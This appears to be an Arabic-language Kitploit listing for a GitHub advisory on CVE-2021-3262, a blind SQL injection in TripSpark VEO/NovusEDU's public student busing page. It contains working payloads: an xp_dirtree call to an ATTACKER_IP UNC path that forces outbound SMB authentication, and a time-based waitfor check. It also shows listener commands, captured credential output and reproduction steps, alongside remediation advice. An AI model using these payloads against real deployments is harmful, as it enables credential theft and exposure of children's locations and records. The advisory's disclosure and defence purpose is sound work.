Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-3262 — CVE-2021-3262 - حقن SQL الأعمى في معلمة editOEN الخاصة بـ TripSpark VEO Transportation / NovusEDU. غير مصادق عليه، مواجه للإنترنت. الحمولات، الطلبات المشروحة، والأدلة. | Kitploit
أدوات/GitHubGitHub/l0lsec/cve-2021-3262
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالأوراق والأبحاثالتعلم والتعليمأمن قواعد البيانات
GitHubl0lsec/cve-2021-3262

CVE-2021-3262

CVE-2021-3262 - حقن SQL الأعمى في معلمة editOEN الخاصة بـ TripSpark VEO Transportation / NovusEDU. غير مصادق عليه، مواجه للإنترنت. الحمولات، الطلبات المشروحة، والأدلة.

عرض المستودع
منذ 27 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

CVE-2021-3262

حقن SQL في TripSpark VEO Transportation / NovusEDU

صفحة البحث العامة "معلومات نقل الطلاب" المرفقة مع TripSpark VEO Transportation تأخذ مدخلات نص طلب POST غير مصادق عليها وتدمجها في استعلام SQL Server دون استخدام معاملات (Parameterisation) أو تحقق من صحة من جانب الخادم. المعامل editOEN (حقل رقم الطالب) قابل للحقن.

الحقن أعمى (Blind): لا يُرجع التطبيق أي أخطاء من قاعدة البيانات ولا أي محتوى تفاضلي يستحق القراءة. ومع ذلك فهو قابل للاستغلال بالكامل خارج النطاق (Out of Band)، لأن اتصال قاعدة البيانات يمكنه الوصول إلى master.dbo.xp_dirtree، مما يُجبر حساب خدمة SQL Server على المصادقة الصادرة عبر SMB إلى مسار UNC يوفره المهاجم.

اكتُشفت أثناء اختبار اختراق خارجي. في المهمة الأصلية، كانت بيانات اعتماد حساب الخدمة الملتقطة هي نقطة الارتكاز التي أدت إلى اختراق كامل لمجال وغابة Active Directory الخاصة بالعميل.

نُشرت باسم CVE-2021-3262. اكتشفها وأبلغ عنها Sedric Louissaint من Show Up Show Out Security.


ملخص

CVECVE-2021-3262
المنتجTripSpark VEO Transportation / NovusEDU
الإصدارات المتأثرةNovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS
مواطن الضعفCWE-89: حقن SQL
CVSS 3.1 (NVD)9.8 حرجة CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (الباحث)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
تاريخ النشر2023-08-29
اختُبرت علىWindows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64)
المصادقة المطلوبةلا شيء. صفحة البحث مواجهة للإنترنت بحكم تصميمها.

وصف NVD:

TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 يسمحان بمدخلات بيانات غير آمنة في معاملات نص طلب POST من المستخدمين النهائيين دون تعقيم باستخدام منطق من جانب الخادم. كان من الممكن حقن أوامر SQL مخصصة في استعلامات بحث "معلومات نقل الطلاب".

التفاصيل الفنية

السطح المعرَّض

تنشر المناطق التعليمية صفحة "معلومات نقل الطلاب" على مواقعها العامة حتى يتمكن أولياء الأمور من البحث عن تعيين الحافلة الخاص بالطالب. تطلب الصفحة رقم الطالب (N Number) وتاريخ الميلاد، وهي غير مصادق عليها عمدًا.

صفحة معلومات نقل الطلاب العامة

يُرسل حقل رقم الطالب N Number كمعامل editOEN. ويُرسل تاريخ الميلاد كمعاملات cboxMonth وcboxDay وcboxYear. المعامل editOEN هو المعامل القابل للحقن.

الحقن الأعمى

على عكس العديد من تطبيقات ASP.NET من هذا الجيل، لا تعيد هذه الصفحة عرض أخطاء قاعدة البيانات. لا يوجد فرق مرئي بين استعلام سليم وآخر معطوب، لذا فإن تقنيات الحقن داخل النطاق (In-band) طريق مسدود.

الاستعلامات المكدسة (Stacked Queries) تُنفَّذ بالفعل، وهذا كل ما يلزم.

الاستغلال خارج النطاق عبر xp_dirtree

يقوم master.dbo.xp_dirtree بتعداد محتويات دليل. عند إعطائه مسار UNC، يصادق SQL Server على المضيف الهدف عبر SMB قبل قراءته. توجيهه نحو مستمع (Listener) يحوّل الحقن الصامت إلى حقن مرئي:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

الحمولة في معامل editOEN

الطلب هو طلب POST عادي من ASP.NET WebForms، يبلغ حجمه حوالي 4,700 بايت، معظمه من __VIEWSTATE. الطلب الكامل في poc/exploited-request.http، والحمولات في poc/payloads.sql.

طلب HTTP المستغَل

المصادقة الملتقطة

مع تشغيل smbserver.py من Impacket كمستمع على مضيف على الإنترنت العام، يقوم خادم قاعدة البيانات داخل شبكة المنطقة التعليمية بالمصادقة الصادرة:

root@kitploit:~
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

مصادقة مفروضة تم التقاطها باستخدام Impacket

ثمة أمران يستحقان الذكر صراحة. أولاً، إنه نموذج غير مصادق عليه ومواجه للإنترنت يصل إلى قاعدة بيانات إنتاجية. ثانيًا، سُمح لخادم قاعدة البيانات المذكور بإجراء اتصالات SMB صادرة إلى مضيفات إنترنت عشوائية، وهو ما جعل الحقن الأعمى قابلًا للملاحظة.

الأثر

إلى جانب الحقن نفسه، كانت بيانات اعتماد NTLMv2 الملتقطة لحساب خدمة SQL Server هي نقطة الارتكاز الأولية في المهمة الأصلية. ومن هناك تصاعد التقييم ليصل إلى اختراق كامل لمجال وغابة Active Directory الخاصة بالعميل.

البيانات المعرضة للخطر هي سجلات نقل الطلاب: الأسماء، وعناوين المنازل، والحافلة المخصصة، والمحطة المخصصة، وأوقات الالتقاط، ومسارات التعليم الخاص. وهو بمثابة جدول زمني يحدد أين سيتواجد أطفال يمكن التعرف عليهم في أوقات معلومة.

إعادة الإنتاج

ضد نسخة مختبرية تملكها أو مخوَّل باختبارها:

  1. افتح صفحة "معلومات نقل الطلاب".
  2. شغّل مستمعًا على مضيف يمكن للهدف الوصول إليه:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  3. أرسل النموذج مع حمولة xp_dirtree من poc/payloads.sql في حقل رقم الطالب N Number، مستبدلاً عنوان IP بعنوانك الخاص. التقط الطلب POST وأعد إرساله بدلاً من الكتابة في المتصفح إذا كان الحقل له حد طول من جانب العميل، لأن هذا الحد غير موجود من جانب الخادم.
  4. النسخة المعرضة للثغرة تُنتج مصادقة SMB واردة من حساب خدمة SQL Server. لا يتغير شيء في استجابة HTTP.
  5. التأكيد القائم على الوقت يعمل أيضًا إذا لم تتمكن من استقبال SMB وارد:
    root@kitploit:~
    123'; waitfor delay '0:0:10';--
    

محتويات المستودع

root@kitploit:~
poc/
  payloads.sql            Detection, time-based and out-of-band payloads for editOEN
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations for a blind stacked-query injection
media/
  01-student-busing-information-page.png
  02-editoen-payload-in-burp.png
  03-forced-auth-captured-impacket.png
  04-exploited-http-request.png

المعرّفات الخاصة بالعملاء في اللقطات تم تنقيحها. عناوين المستمعين من المهمة الأصلية ولم تعد صالحة منذ زمن طويل. استبدلها بعناوينك الخاصة عند إعادة الإنتاج.

المعالجة

  1. الاستعلامات المعاملية (Parameterised Queries). اربط editOEN كمعامل، وستصبح الحمولة سلسلة خاملة مهما كان محتواها.
  2. التحقق من صحة المدخلات من جانب الخادم. رقم الطالب قصير ورقمي. فرِض ذلك على الخادم، لا في النموذج.
  3. مبدأ الامتياز الأدنى لحساب قاعدة البيانات. الحساب الذي يقف خلف صفحة بحث عامة يحتاج إلى قراءة تعيينات الحافلات فقط ولا شيء غير ذلك. ألغِ الوصول إلى xp_dirtree وإجراءات التخزين الموسعة الأخرى (Extended Stored Procedures).
  4. تصفية حركة المرور الصادرة (Egress Filtering). لا يوجد أي سبب يدفع خادم قاعدة بيانات منطقة تعليمية إلى فتح اتصالات SMB إلى الإنترنت. حظر اتصالات المنفذ 445 الصادرة يزيل القناة خارج النطاق.
  5. افصل النموذج العام عن نظام السجلات الأساسي (System of Record). الصفحة التي يستخدمها أولياء الأمور يجب أن تستعلم من نسخة متماثلة مقيدة، وليس من قاعدة بيانات الإنتاج التي تحتوي أيضًا على مسارات التعليم الخاص.

الجدول الزمني

التاريخالحدث
2021اكتُشفت أثناء اختبار اختراق خارجي وأُبلغ بها TripSpark
2023-08-29نُشرت CVE-2021-3262 في NVD بتقييم 9.8 حرجة

كتابات وتحليلات

  • الحساب الشخصي: https://sedriclouissaint.com/blog/tripspark-veo-sql-injection-cve-2021-3262/
  • Show Up Show Out Security: https://susos.co/blog/sqlspark-sql-injection-in-tripspark-veo-transport-cve-2021-3262

إخلاء مسؤولية

نُشرت بعد الإفصاح، للاستخدام الدفاعي والتعليمي. لا تشغّل هذه الحمولات ضد أنظمة لا تملكها أو ليس لديك إذن كتابي باختبارها. إذا كنت تدير نشرًا لمنطقة تعليمية، فإن الإجراء المفيد هنا هو أن تسأل المورّد كتابيًا عما إذا كانت الاستعلامات خلف نماذجك العامة تستخدم معاملات (Parameterised) أم لا.

تنزيل الأداة